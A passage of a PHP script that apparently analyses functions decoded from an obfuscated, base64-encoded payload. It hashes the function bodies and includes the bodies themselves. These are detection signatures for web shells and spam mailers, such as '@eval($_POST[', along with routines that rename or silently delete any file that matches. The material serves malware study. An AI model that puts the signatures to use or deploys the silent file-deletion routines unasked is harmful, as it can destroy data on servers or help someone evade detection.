YTozOntpOjA7aToxMTY7aToxO3M6NjoicmZ1ZnlvIjtpOjI7czo1OiJnbWVoeiI7fWk6Mjc7YTozOntpOjA7aToxMTg7aToxO3M6NjoicnF2b3plIjtpOjI7czo5OiJndXhkd2hzdHciO31pOjI4O2E6Mzp7aTowO2k6MTE5O2k6MTtzOjU6InJna2huIjtpOjI7czoxMDoiZ2d4aXpyaHdlZCI7fWk6Mjk7YTozOntpOjA7aToxMjM7aToxO3M6MTE6InJxbGJ3cGFpeWdkIjtpOjI7czo0OiJndGRlIjt9aTozMDthOjM6e2k6MDtpOjEyNTtpOjE7czoxMToicmFxZGVyd2Z1c3oiO2k6MjtzOjQ6Imd3d3UiO31pOjMxO2E6Mzp7aTowO2k6MTI2O2k6MTtzOjU6InJ1Y2trIjtpOjI7czo0OiJnc3RwIjt9aTozMjthOjM6e2k6MDtpOjEyNztpOjE7czoxMDoicndheXZpcmJ2YiI7aToyO3M6NzoiZ25nc3RmaCI7fWk6MzM7YTozOntpOjA7aToxMjg7aToxO3M6Njoicm1jYWl5IjtpOjI7czo5OiJneHR5ZHB6c2UiO31pOjM0O2E6Mzp7aTowO2k6MTI5O2k6MTtzOjg6InJscGNmZXNnIjtpOjI7czo4OiJnZXh6c3RzZSI7fWk6MzU7YTozOntpOjA7aToxMzA7aToxO3M6NToicmRvc2QiO2k6MjtzOjExOiJnemFpaWxlYW95cCI7fWk6MzY7YTozOntpOjA7aToxMzQ7aToxO3M6ODoicmhlbG94d2kiO2k6MjtzOjc6ImdyZnZhbnciO31pOjM3O2E6Mzp7aTowO2k6MTM2O2k6MTtzOjk6InJ4dG91bnFvYSI7aToyO3M6NjoiZ2p6ZWp6Ijt9aTozODthOjM6e2k6MDtpOjEzNztpOjE7czo2OiJycWNpcm8iO2k6MjtzOjk6Imdxc3lpa2NjeiI7fWk6Mzk7YTozOntpOjA7aToxMzg7aToxO3M6MTA6InJrcnh3d2ZnbG0iO2k6MjtzOjExOiJnZmp2dHpsZ3BjZyI7fWk6NDA7YTozOntpOjA7aToxNDA7aToxO3M6ODoicm5pZ3ZzdGUiO2k6MjtzOjY6Imd0a3hnaSI7fWk6NDE7YTozOntpOjA7aToxNDI7aToxO3M6OToicmpudXF3ZWp6IjtpOjI7czoxMToiZ3ljYmxnc2FpeGciO31pOjQyO2E6Mzp7aTowO2k6MTQzO2k6MTtzOjQ6InJ0eWgiO2k6MjtzOjg6Imd4YndoYWZvIjt9aTo0MzthOjM6e2k6MDtpOjE0NDtpOjE7czo4OiJydmRld2J2cCI7aToyO3M6ODoiZ2pjd3pwcXkiO31pOjQ0O2E6Mzp7aTowO2k6MTQ1O2k6MTtzOjk6InJydGx5bHZmZiI7aToyO3M6NDoiZ2xlZCI7fWk6NDU7YTozOntpOjA7aToxNDY7aToxO3M6MTA6InJubW14a290ZXQiO2k6MjtzOjY6ImdkaHVwcCI7fWk6NDY7YTozOntpOjA7aToxNDc7aToxO3M6ODoicm90YmxmY2siO2k6MjtzOjk6ImdqdmRtY3lpYyI7fWk6NDc7YTozOntpOjA7aToxNDg7aToxO3M6NDoicmtuaCI7aToyO3M6ODoiZ2x0ZnJhamgiO31pOjQ4O2E6Mzp7aTowO2k6MTQ5O2k6MTtzOjY6InJmcWh5ayI7aToyO3M6NzoiZ3Vvdml5cSI7fWk6NDk7YTozOntpOjA7aToxNTA7aToxO3M6MTE6InJpcnVxYml0aW5vIjtpOjI7czoxMDoiZ2ZmcWR2bmlsYyI7fWk6NTA7YTozOntpOjA7aToxNTM7aToxO3M6MTA6InJhdnh5Y2p3eHciO2k6MjtzOjY6ImdubnlpdSI7fWk6NTE7YTozOntpOjA7aToxNTU7aToxO3M6NjoicnNvaWZ0IjtpOjI7czo0OiJnbWdqIjt9aTo1MjthOjM6e2k6MDtpOjE1NjtpOjE7czoxMToicmRhamh6eXRhbmIiO2k6MjtzOjk6Imd6ZGxmc2locSI7fWk6NTM7YTozOntpOjA7aToxNTc7aToxO3M6ODoicmJkb2pucGYiO2k6MjtzOjU6ImdqZHdjIjt9aTo1NDthOjM6e2k6MDtpOjE1ODtpOjE7czoxMToicm14Y3Nna3F4YXkiO2k6MjtzOjEwOiJndmF1dmN5bnp2Ijt9aTo1NTthOjM6e2k6MDtpOjE1OTtpOjE7czo0OiJybmtyIjtpOjI7czoxMDoiZ295c2pta2VvdCI7fWk6NTY7YTozOntpOjA7aToxNjA7aToxO3M6ODoicmJveHJ5YXQiO2k6MjtzOjQ6ImdubmQiO31pOjU3O2E6Mzp7aTowO2k6MTYxO2k6MTtzOjEwOiJyZnloZHprdHlwIjtpOjI7czo0OiJnaG9wIjt9aTo1ODthOjM6e2k6MDtpOjE2MjtpOjE7czo2OiJybmFra2IiO2k6MjtzOjg6ImdlcGNmYmN2Ijt9aTo1OTthOjM6e2k6MDtpOjE2MztpOjE7czo3OiJydGxzeXpxIjtpOjI7czo3OiJncXdqd3pqIjt9aTo2MDthOjM6e2k6MDtpOjE2NDtpOjE7czo4OiJyendwY2htbSI7aToyO3M6NDoiZ3NoayI7fWk6NjE7YTozOntpOjA7aToxNjU7aToxO3M6MTE6InJidnl2emNmYmFvIjtpOjI7czoxMDoiZ2R1Y3RlbmJuYiI7fWk6NjI7YTozOntpOjA7aToxNjY7aToxO3M6OToicmtndnR4bGRoIjtpOjI7czoxMDoiZ21oZ3J6dXFxaiI7fWk6NjM7YTozOntpOjA7aToxNjc7aToxO3M6Njoicnd5YXZ1IjtpOjI7czoxMToiZ2ZoZWlrZHlmc2wiO31pOjY0O2E6Mzp7aTowO2k6MTY4O2k6MTtzOjEwOiJyb3ppZG94d3FjIjtpOjI7czo2OiJnbmh1anEiO31pOjY1O2E6Mzp7aTowO2k6MTY5O2k6MTtzOjExOiJyamJkdHB5dGN0cCI7aToyO3M6NDoiZ3FjZCI7fWk6NjY7YTozOntpOjA7aToxNzA7aToxO3M6NDoicnpzeiI7aToyO3M6NToiZ3pqdGwiO31pOjY3O2E6Mzp7aTowO2k6MTcxO2k6MTtzOjExOiJydmlocWRpZnpmdyI7aToyO3M6NToiZ2JseXgiO31pOjY4O2E6Mzp7aTowO2k6MTcyO2k6MTtzOjEwOiJyZWRrbnJnaWV2IjtpOjI7czoxMDoiZ2Zvb3l1bGxsayI7fWk6Njk7YTozOntpOjA7aToxNzM7aToxO3M6MTE6InJ4cmN2em5wbWVxIjtpOjI7czo4OiJncnN3d3ZmZiI7fWk6NzA7YTozOntpOjA7aToxNzQ7aToxO3M6OToicnNmdGlzaHdsIjtpOjI7czo2OiJncG1jZnUiO31pOjcxO2E6Mzp7aTowO2k6MTc2O2k6MTtzOjc6InJndm91ZGMiO2k6MjtzOjU6ImdvZmxzIjt9aTo3MjthOjM6e2k6MDtpOjE3NztpOjE7czoxMDoicm9rZ3VpZ2VrbiI7aToyO3M6ODoiZ3ZsemxteWsiO31pOjczO2E6Mzp7aTowO2k6MTc4O2k6MTtzOjU6InJvdHV5IjtpOjI7czoxMToiZ3locmdscWh4Z28iO31pOjc0O2E6Mzp7aTowO2k6MTc5O2k6MTtzOjk6InJnbXJ4dm1oYyI7aToyO3M6OToiZ3J6bG1hc2dhIjt9aTo3NTthOjM6e2k6MDtpOjE4MDtpOjE7czoxMDoicmZybWNra3VrYSI7aToyO3M6NToiZ2Zkb3kiO31pOjc2O2E6Mzp7aTowO2k6MTgyO2k6MTtzOjExOiJyYmR1b3hybHJzcyI7aToyO3M6MTE6Imdrb3N5cG5icnViIjt9aTo3NzthOjM6e2k6MDtpOjE4MztpOjE7czo2OiJya2Rta2YiO2k6MjtzOjg6Imd4Yml4YXhhIjt9aTo3ODthOjM6e2k6MDtpOjE4NDtpOjE7czo2OiJyeGttcmoiO2k6MjtzOjQ6Imdxd2giO31pOjc5O2E6Mzp7aTowO2k6MTg1O2k6MTtzOjk6InJhY3JlbXN6ZSI7aToyO3M6NToiZ2xjYWsiO31pOjgwO2E6Mzp7aTowO2k6MTg3O2k6MTtzOjY6InJsYnhsdyI7aToyO3M6NjoiZ2V4cHFpIjt9aTo4MTthOjM6e2k6MDtpOjE4ODtpOjE7czoxMToicndrd3R5ZXJvY3oiO2k6MjtzOjg6Imdidmdxa21zIjt9aTo4MjthOjM6e2k6MDtpOjE4OTtpOjE7czo5OiJydHZxaG9oYWMiO2k6MjtzOjg6ImdpbHJ0c2ZmIjt9aTo4MzthOjM6e2k6MDtpOjE5MDtpOjE7czo2OiJycnZ5dXMiO2k6MjtzOjQ6ImdvZHQiO31pOjg0O2E6Mzp7aTowO2k6MTkxO2k6MTtzOjg6InJxd3JkdHlxIjtpOjI7czo3OiJnZWp0Y253Ijt9aTo4NTthOjM6e2k6MDtpOjE5MjtpOjE7czoxMToicnh1bnB6ZnRuZmciO2k6MjtzOjQ6Imdxcm0iO31pOjg2O2E6Mzp7aTowO2k6MTkzO2k6MTtzOjg6InJucW1yeWFtIjtpOjI7czo0OiJncXFwIjt9aTo4NzthOjM6e2k6MDtpOjE5NDtpOjE7czo2OiJycXpyenQiO2k6MjtzOjEwOiJnbG90ZWZ2YnFpIjt9fQ=="));
$defs5 = unserialize(base64_decode("YTo1Njp7aTowO2E6Mzp7aTowO2k6MjtpOjE7czo3OiJyeXlwa2V4IjtpOjI7czo0OiJncWJuIjt9aToxO2E6Mzp7aTowO2k6NTtpOjE7czo1OiJyb2d1YSI7aToyO3M6NjoiZ3B6bWZqIjt9aToyO2E6Mzp7aTowO2k6MTU7aToxO3M6NDoicnRvYiI7aToyO3M6NToiZ2Zqc2kiO31pOjM7YTozOntpOjA7aToxODtpOjE7czo0OiJyeWpuIjtpOjI7czo0OiJnem95Ijt9aTo0O2E6Mzp7aTowO2k6MjM7aToxO3M6Njoicm9id3VrIjtpOjI7czo2OiJnZnl3ZGkiO31pOjU7YTozOntpOjA7aTozNDtpOjE7czoxMDoicmV1aXdmcm56biI7aToyO3M6MTE6ImdsdnR1eWprY2VwIjt9aTo2O2E6Mzp7aTowO2k6MzY7aToxO3M6OToicnFlYXpqZXRmIjtpOjI7czo4OiJnbG9ldGhkZiI7fWk6NzthOjM6e2k6MDtpOjQyO2k6MTtzOjQ6InJkdWwiO2k6MjtzOjg6ImdwaWthcWxjIjt9aTo4O2E6Mzp7aTowO2k6NTQ7aToxO3M6Njoicnl0a3J4IjtpOjI7czo4OiJnZWFocXFldCI7fWk6OTthOjM6e2k6MDtpOjYwO2k6MTtzOjEwOiJya3hoZ3JxeWFsIjtpOjI7czo3OiJnbXprbm10Ijt9aToxMDthOjM6e2k6MDtpOjY5O2k6MTtzOjQ6InJlZmciO2k6MjtzOjU6ImdkaG5lIjt9aToxMTthOjM6e2k6MDtpOjc5O2k6MTtzOjk6InJkamZhc3hyZyI7aToyO3M6NToiZ3FmdXUiO31pOjEyO2E6Mzp7aTowO2k6ODk7aToxO3M6NDoicmhvdyI7aToyO3M6MTA6Imd6Zmt5bHlvc2kiO31pOjEzO2E6Mzp7aTowO2k6OTA7aToxO3M6MTA6InJxY3hqZmhkcnAiO2k6MjtzOjExOiJnZ2d3cWxhZm1hbCI7fWk6MTQ7YTozOntpOjA7aTo5NTtpOjE7czoxMDoicnJoend5YXhzYyI7aToyO3M6MTA6Imd6dHp6c2xrZWkiO31pOjE1O2E6Mzp7aTowO2k6MTA5O2k6MTtzOjk6InJ3d3BzbXJtZyI7aToyO3M6OToiZ3J5cnRoemZhIjt9aToxNjthOjM6e2k6MDtpOjExMDtpOjE7czoxMDoicm96ZGFjdHlldCI7aToyO3M6NjoiZ25zZWtzIjt9aToxNzthOjM6e2k6MDtpOjExMTtpOjE7czoxMDoicnJieGV1cHNreSI7aToyO3M6MTA6ImdxaXBvcW9iYWwiO31pOjE4O2E6Mzp7aTowO2k6MTEyO2k6MTtzOjc6InJhYWlocmMiO2k6MjtzOjg6ImdxendydHRuIjt9aToxOTthOjM6e2k6MDtpOjExNTtpOjE7czo1OiJyc2dneiI7aToyO3M6MTA6Imd6dHRiZWVlZ3oiO31pOjIwO2E6Mzp7aTowO2k6MTE2O2k6MTtzOjc6InJ3YXB1ZnQiO2k6MjtzOjg6ImdxeHhtcG5lIjt9aToyMTthOjM6e2k6MDtpOjExODtpOjE7czo5OiJybmlyeHd2aHkiO2k6MjtzOjU6ImdsZW16Ijt9aToyMjthOjM6e2k6MDtpOjExOTtpOjE7czo5OiJyeHBkbnlzd2IiO2k6MjtzOjExOiJna3VjcnBmbG9pYSI7fWk6MjM7YTozOntpOjA7aToxMjM7aToxO3M6MTE6InJrYWN3YWdoaWxmIjtpOjI7czo2OiJnYXlyemMiO31pOjI0O2E6Mzp7aTowO2k6MTI1O2k6MTtzOjY6InJxanF2ciI7aToyO3M6NToiZ2VjZGciO31pOjI1O2E6Mzp7aTowO2k6MTI2O2k6MTtzOjEwOiJyeHVibW9pZHRkIjtpOjI7czoxMDoiZ3JseHZtbGtpdiI7fWk6MjY7YTozOntpOjA7aToxMjc7aToxO3M6OToicnFtY2t3ZnRmIjtpOjI7czoxMToiZ2Z3d3ppc3RxZnMiO31pOjI3O2E6Mzp7aTowO2k6MTI4O2k6MTtzOjY6InJyZHBmdSI7aToyO3M6NjoiZ3RxZWVmIjt9aToyODthOjM6e2k6MDtpOjEzMDtpOjE7czo1OiJyanBtaCI7aToyO3M6OToiZ2p5c3VjZnZzIjt9aToyOTthOjM6e2k6MDtpOjEzNDtpOjE7czo0OiJyb2FvIjtpOjI7czoxMDoiZ3ZyaGZqaGRrcCI7fWk6MzA7YTozOntpOjA7aToxMzc7aToxO3M6NjoicnB6ZGZ0IjtpOjI7czo5OiJnb3hva25td20iO31pOjMxO2E6Mzp7aTowO2k6MTM4O2k6MTtzOjY6InJwdXdhbyI7aToyO3M6OToiZ3FlbG1tYWJyIjt9aTozMjthOjM6e2k6MDtpOjE0NjtpOjE7czo1OiJyZGxmZSI7aToyO3M6NzoiZ3VsZ3BmZSI7fWk6MzM7YTozOntpOjA7aToxNDg7aToxO3M6NDoicmd5cSI7aToyO3M6MTA6Imd1aGN3eWp1cXgiO31pOjM0O2E6Mzp7aTowO2k6MTUzO2k6MTtzOjg6InJjaWVkbW1rIjtpOjI7czoxMToiZ2xjbGNmYXNpbG0iO31pOjM1O2E6Mzp7aTowO2k6MTU2O2k6MTtzOjU6InJicnhzIjtpOjI7czo0OiJnb3FwIjt9aTozNjthOjM6e2k6MDtpOjE1NztpOjE7czo0OiJybWF4IjtpOjI7czoxMToiZ2V3dml4cGp6dnoiO31pOjM3O2E6Mzp7aTowO2k6MTU4O2k6MTtzOjU6InJicGZjIjtpOjI7czo0OiJnd2FiIjt9aTozODthOjM6e2k6MDtpOjE2MDtpOjE7czo3OiJyaXN1emdmIjtpOjI7czo3OiJnb2xiY3VtIjt9aTozOTthOjM6e2k6MDtpOjE2MztpOjE7czoxMDoicnFoYmNqZG1zdiI7aToyO3M6MTE6Imdlc3N0eHN1aXBtIjt9aTo0MDthOjM6e2k6MDtpOjE2NjtpOjE7czo1OiJya3F5cSI7aToyO3M6NjoiZ2lpY2tvIjt9aTo0MTthOjM6e2k6MDtpOjE2ODtpOjE7czo4OiJybmVpc2lzeiI7aToyO3M6MTE6ImdiYWZldmlvdmhiIjt9aTo0MjthOjM6e2k6MDtpOjE3MjtpOjE7czo1OiJya3FzZiI7aToyO3M6ODoiZ3ZmemF6cGsiO31pOjQzO2E6Mzp7aTowO2k6MTc0O2k6MTtzOjU6InJmeXhqIjtpOjI7czoxMDoiZ3lvYmVqZnNzZCI7fWk6NDQ7YTozOntpOjA7aToxNzc7aToxO3M6ODoicnpidnRna2ciO2k6MjtzOjExOiJnd2RwZ2RvZG5zbSI7fWk6NDU7YTozOntpOjA7aToxNzk7aToxO3M6ODoicmVmdm5iZGQiO2k6MjtzOjc6ImdvZnRqZWkiO31pOjQ2O2E6Mzp7aTowO2k6MTgyO2k6MTtzOjU6InJ4ZW9uIjtpOjI7czoxMDoiZ3Fxc3FtdW16dyI7fWk6NDc7YTozOntpOjA7aToxODc7aToxO3M6NzoicmJ5aHVjciI7aToyO3M6ODoiZ2JwdmZ4aWMiO31pOjQ4O2E6Mzp7aTowO2k6MTg4O2k6MTtzOjExOiJyaWxyZnl0c3ZraCI7aToyO3M6NToiZ3B2cHkiO31pOjQ5O2E6Mzp7aTowO2k6MTg5O2k6MTtzOjg6InJtbmh0ZXJwIjtpOjI7czo0OiJnY3VrIjt9aTo1MDthOjM6e2k6MDtpOjE5MDtpOjE7czoxMToicm5nbXV1ZXVubGMiO2k6MjtzOjU6ImdpdGdsIjt9aTo1MTthOjM6e2k6MDtpOjE5MTtpOjE7czo4OiJybHZqbXRyZiI7aToyO3M6MTA6ImdrdHBvZHJqbWsiO31pOjUyO2E6Mzp7aTowO2k6MTkyO2k6MTtzOjg6InJlanB4dWVyIjtpOjI7czo0OiJncW12Ijt9aTo1MzthOjM6e2k6MDtpOjE5NDtpOjE7czo1OiJydW5qYSI7aToyO3M6NjoiZ3B6aGxyIjt9aTo1NDthOjM6e2k6MDtpOjE5NjtpOjE7czoxMDoicnpqdnVuZHF1biI7aToyO3M6NjoiZ2VtZ2h1Ijt9aTo1NTthOjM6e2k6MDtpOjE5ODtpOjE7czo3OiJycHFqbWd1IjtpOjI7czo1OiJnaWhlZyI7fX0="));
$defs6 = unserialize(base64_decode("YTo2MDp7aTowO2E6Mzp7aTowO2k6MjtpOjE7czo5OiJybGJmZnl4eHEiO2k6MjtzOjExOiJnbXNyd216dHZ4YiI7fWk6MTthOjM6e2k6MDtpOjU7aToxO3M6Njoicmt5dnhsIjtpOjI7czoxMDoiZ2xmZXZuZ3VndSI7fWk6MjthOjM6e2k6MDtpOjE1O2k6MTtzOjg6InJ4dnRpY2h3IjtpOjI7czo3OiJnendvdnNoIjt9aTozO2E6Mzp7aTowO2k6MTg7aToxO3M6MTA6InJ4eGdnd2l6eGsiO2k6MjtzOjg6ImdoZmhjdm5iIjt9aTo0O2E6Mzp7aTowO2k6MjM7aToxO3M6MTA6InJiZ3BxdG9yaHUiO2k6MjtzOjk6ImdqZWJ1ZGlhbSI7fWk6NTthOjM6e2k6MDtpOjM2O2k6MTtzOjU6InJoaGdnIjtpOjI7czo0OiJncmlsIjt9aTo2O2E6Mzp7aTowO2k6NDI7aToxO3M6OToicnN2bWFveXh2IjtpOjI7czoxMToiZ3FzYm5rYmVkYmIiO31pOjc7YTozOntpOjA7aTo1NDtpOjE7czo2OiJyanRuYmEiO2k6MjtzOjEwOiJnaHluZmxudW5wIjt9aTo4O2E6Mzp7aTowO2k6NjA7aToxO3M6MTA6InJrcHJ2a3VnaGUiO2k6MjtzOjk6ImdjeWlsZmR0cCI7fWk6OTthOjM6e2k6MDtpOjg5O2k6MTtzOjY6InJuZG1qeCI7aToyO3M6MTA6ImdjYXhiZ2xpcGwiO31pOjEwO2E6Mzp7aTowO2k6MTA5O2k6MTtzOjEwOiJybXdoaXF5a2xzIjtpOjI7czo0OiJncnduIjt9aToxMTthOjM6e2k6MDtpOjExMDtpOjE7czo4OiJydndjeXB4aCI7aToyO3M6NzoiZ2ttZnJ5eCI7fWk6MTI7YTozOntpOjA7aToxMTE7aToxO3M6MTA6InJod2l3ZWZ6dHQiO2k6MjtzOjExOiJnb2d6aHF1Z3FvciI7fWk6MTM7YTozOntpOjA7aToxMTI7aToxO3M6NDoicmhjYSI7aToyO3M6ODoiZ3RtcW5rZ2YiO31pOjE0O2E6Mzp7aTowO2k6MTE1O2k6MTtzOjU6InJhZ3ljIjtpOjI7czo4OiJnbWJ6b29hdCI7fWk6MTU7YTozOntpOjA7aToxMTg7aToxO3M6Nzoicm9xY2hyeiI7aToyO3M6NjoiZ3Fha2ZjIjt9aToxNjthOjM6e2k6MDtpOjEyNjtpOjE7czoxMDoicmRpb2x4dXh6byI7aToyO3M6NzoiZ3FmeHJnZiI7fWk6MTc7YTozOntpOjA7aToxMjc7aToxO3M6MTE6InJtbXJma3h1cHhhIjtpOjI7czoxMToiZ3Z1Ymdkbnh1cG0iO31pOjE4O2E6Mzp7aTowO2k6MTMwO2k6MTtzOjk6InJvZ3Jjem1keSI7aToyO3M6MTA6ImdmeGpobGJhdnYiO31pOjE5O2E6Mzp7aTowO2k6MTM0O2k6MTtzOjExOiJycWhtaWF0Y2dseCI7aToyO3M6MTE6ImdpZmd0Ymhjd2pnIjt9aToyMDthOjM6e2k6MDtpOjEzODtpOjE7czo1OiJyYmFvayI7aToyO3M6NzoiZ2pudW16aiI7fWk6MjE7YTozOntpOjA7aToxNDY7aToxO3M6ODoicndjc3VsaW8iO2k6MjtzOjQ6ImdjcWgiO31pOjIyO2E6Mzp7aTowO2k6MTQ4O2k6MTtzOjEwOiJycWNhc2ltcnd0IjtpOjI7czoxMDoiZ2FzZWtxZnJnZSI7fWk6MjM7YTozOntpOjA7aToxNTc7aToxO3M6Njoicm1zeWduIjtpOjI7czo1OiJneXJudiI7fWk6MjQ7YTozOntpOjA7aToxNjM7aToxO3M6ODoicnNlYmd6bWUiO2k6MjtzOjExOiJnaWRucnR0YWtxZSI7fWk6MjU7YTozOntpOjA7aToxNjY7aToxO3M6MTE6InJzbGJwYmRqd2FuIjtpOjI7czo5OiJneXJ2d2tndmkiO31pOjI2O2E6Mzp7aTowO2k6MTcyO2k6MTtzOjY6InJpbmNqdiI7aToyO3M6MTA6Imdlb3NoYml2dXQiO31pOjI3O2E6Mzp7aTowO2k6MTc0O2k6MTtzOjQ6InJ3ZG4iO2k6MjtzOjk6ImdrdWdpbGVtYiI7fWk6Mjg7YTozOntpOjA7aToxNzk7aToxO3M6NDoicmFoaSI7aToyO3M6ODoiZ3h4Z3RnZWgiO31pOjI5O2E6Mzp7aTowO2k6MTg3O2k6MTtzOjg6InJtZ3hycmZkIjtpOjI7czo4OiJnY2Roc2plYiI7fWk6MzA7YTozOntpOjA7aToxODk7aToxO3M6ODoicmpnemttaGEiO2k6MjtzOjg6ImdpYmR0cnBsIjt9aTozMTthOjM6e2k6MDtpOjE5MjtpOjE7czo2OiJybnRvY2ciO2k6MjtzOjg6ImdwbXZ3ZHVtIjt9aTozMjthOjM6e2k6MDtpOjE5NjtpOjE7czo4OiJyaXd1eXBldiI7aToyO3M6MTA6Imd3c21zYWNvenkiO31pOjMzO2E6Mzp7aTowO2k6MTk4O2k6MTtzOjEwOiJyaHNudHRndnZ0IjtpOjI7czo3OiJnY2dmenhwIjt9aTozNDthOjM6e2k6MDtpOjE5OTtpOjE7czo0OiJybmRwIjtpOjI7czo3OiJnd2ZpaHdpIjt9aTozNTthOjM6e2k6MDtpOjIwMDtpOjE7czoxMDoicm5zZmR4Zmt3YSI7aToyO3M6OToiZ3RzZ3dyZXdhIjt9aTozNjthOjM6e2k6MDtpOjIwMTtpOjE7czo5OiJycmxob25nbHIiO2k6MjtzOjQ6Imd6eGUiO31pOjM3O2E6Mzp7aTowO2k6MjAzO2k6MTtzOjEwOiJydmdhZHViaGthIjtpOjI7czo5OiJnaHVrc3F6b3YiO31pOjM4O2E6Mzp7aTowO2k6MjA2O2k6MTtzOjk6InJycG9wbXN1biI7aToyO3M6OToiZ2J0YWhncWxtIjt9aTozOTthOjM6e2k6MDtpOjIwOTtpOjE7czo5OiJya2l3Z21zbmoiO2k6MjtzOjg6ImdnZWdpcXZ6Ijt9aTo0MDthOjM6e2k6MDtpOjIxMDtpOjE7czo5OiJyaGdremNqY2IiO2k6MjtzOjEwOiJnbW1rd3VmdndoIjt9aTo0MTthOjM6e2k6MDtpOjIxMjtpOjE7czo5OiJycmFoeG5meWIiO2k6MjtzOjQ6Imd4em4iO31pOjQyO2E6Mzp7aTowO2k6MjEzO2k6MTtzOjc6InJiaXZnYXMiO2k6MjtzOjU6ImdocHBwIjt9aTo0MzthOjM6e2k6MDtpOjIxNDtpOjE7czoxMToicmp0eGV0cmRrZ2kiO2k6MjtzOjU6Imd3dXZxIjt9aTo0NDthOjM6e2k6MDtpOjIxNTtpOjE7czo1OiJybnZnZyI7aToyO3M6ODoiZ2N6bHdydWMiO31pOjQ1O2E6Mzp7aTowO2k6MjE2O2k6MTtzOjg6InJ2dWFieWp0IjtpOjI7czoxMDoiZ3R6bnRra2d1YiI7fWk6NDY7YTozOntpOjA7aToyMTc7aToxO3M6Nzoicndjcm9qZiI7aToyO3M6NDoiZ3VweSI7fWk6NDc7YTozOntpOjA7aToyMTg7aToxO3M6NjoicnRscGxkIjtpOjI7czo5OiJnZ21remluY2YiO31pOjQ4O2E6Mzp7aTowO2k6MjE5O2k6MTtzOjEwOiJya3NkZHJta2h0IjtpOjI7czo5OiJnaGdub29leXMiO31pOjQ5O2E6Mzp7aTowO2k6MjIwO2k6MTtzOjg6InJ4aG51anljIjtpOjI7czoxMToiZ2h5YXhrbG5veHQiO31pOjUwO2E6Mzp7aTowO2k6MjIxO2k6MTtzOjU6InJocnpsIjtpOjI7czoxMToiZ3F6cWVhd3ZtbWoiO31pOjUxO2E6Mzp7aTowO2k6MjIyO2k6MTtzOjExOiJybWJma3BiaGR6ZSI7aToyO3M6ODoiZ3lieWdvZWYiO31pOjUyO2E6Mzp7aTowO2k6MjIzO2k6MTtzOjY6InJjb2tjYSI7aToyO3M6ODoiZ2V1aGdieHIiO31pOjUzO2E6Mzp7aTowO2k6MjI0O2k6MTtzOjk6InJnd2Nubmp2diI7aToyO3M6NjoiZ256YmR6Ijt9aTo1NDthOjM6e2k6MDtpOjIyNTtpOjE7czoxMToicnl2YnduaXhiZHMiO2k6MjtzOjg6ImdwbGF6dWVyIjt9aTo1NTthOjM6e2k6MDtpOjIyNjtpOjE7czoxMDoicmpyZXBibWZ1YSI7aToyO3M6ODoiZ2R0YmF3enYiO31pOjU2O2E6Mzp7aTowO2k6MjI3O2k6MTtzOjk6InJpa3Rha3hpbyI7aToyO3M6NToiZ2psbHkiO31pOjU3O2E6Mzp7aTowO2k6MjI4O2k6MTtzOjEwOiJyZmhrb2pydmNoIjtpOjI7czo4OiJnb2p1Y2R2cCI7fWk6NTg7YTozOntpOjA7aToyMjk7aToxO3M6NDoicmNzbSI7aToyO3M6NToiZ3JyZmUiO31pOjU5O2E6Mzp7aTowO2k6MjMwO2k6MTtzOjk6InJxcWp0dHZuYSI7aToyO3M6NDoiZ3ZjayI7fX0="));

$alldefs = array($defs1, $defs2, $defs3, $defs4, $defs5, $defs6);

// These serial numbers (element 0 of each triplet) appear in every
// $defs deserialized array. The indexes of these are different
// from one deserialized array to the next.
$common_sn = array(
	2, 5, 15, 18, 23, 36, 42, 54, 60, 89, 109, 110, 111, 112, 115, 118,
	126, 127, 130, 134, 138, 146, 148, 157, 163, 166, 172, 174, 179, 187, 189, 192
);

// Find function names from each deserialized array element
// that corresponds to a particular serial number.
// Pick out the function body from this file, do MD5 hash
// on it, print out the hash. Human can see if all function
// bodys for a given serial number match.
foreach ($common_sn as $serialnumber) {
	print("Functions for serial number $serialnumber\n");
	foreach ($alldefs as $defarray) {
		foreach ($defarray as $triplet) {
			if ($triplet[0] == $serialnumber) {
				$body = dumpcode($triplet[1]);
				$x = md5($body);
				print($x."\n");
			}
		}
	}
	print("-----------------------------------\n\n");
}

// Pick out the text of function bodies from this very file.
function dumpcode($fn) {
	$func = new ReflectionFunction($fn);
	$filename = $func->getFileName();
	$start_line = $func->getStartLine();
	$end_line = $func->getEndLine();
	$length = $end_line - $start_line;

	$source = file($filename);
	$body = implode("", array_slice($source, $start_line, $length));
	return $body;
}

// Function bodies. These are expanded from the "eval(base64_decode(blahblah))"
// code blocks sent along with the serialized arrays (above, $defsX variables).
// They have to appear in this file for function dumpcode() to be able to pick
// out the text of the function bodies.
function rnolnf($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(base64_decode(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "mail") !== FALSE && substr_count($content, "stripslashes(base64_decode(\$_POST[") == 4)
{
    return TRUE;
}

if (strpos($content, "eval(\"return eval(\"\$code\");\") ?>") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if(isset(\$_POST[\"msgbody\"]))") !== FALSE && strpos($content, "if(isset(\$_POST[\"msgsubject\"]))") !== FALSE)
{
    return TRUE;
}


return FALSE;
}
function gbbdzb($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwwywmtif($content)
{
if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function ghipkt($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rxtshkjtiyn($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE)
{
    if (substr_count($content, ")") == 14)
    {
        return TRUE;
    }
}

return FALSE;
}
function gzowylfiqp($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rumyay($content)
{
if (strpos($content, ";eval(\$") !== FALSE)
{
    if (substr_count($content, ")") == 6)
    {
        return TRUE;
    }
}

return FALSE;
}
function gpuksfjnd($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rimizk($content)
{
if (strpos($content, "<?php @eval(\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gehh($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rnmyb($content)
{
if (strpos($content, "http://www.fopo.com.ar/") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gqpoxx($path)
{
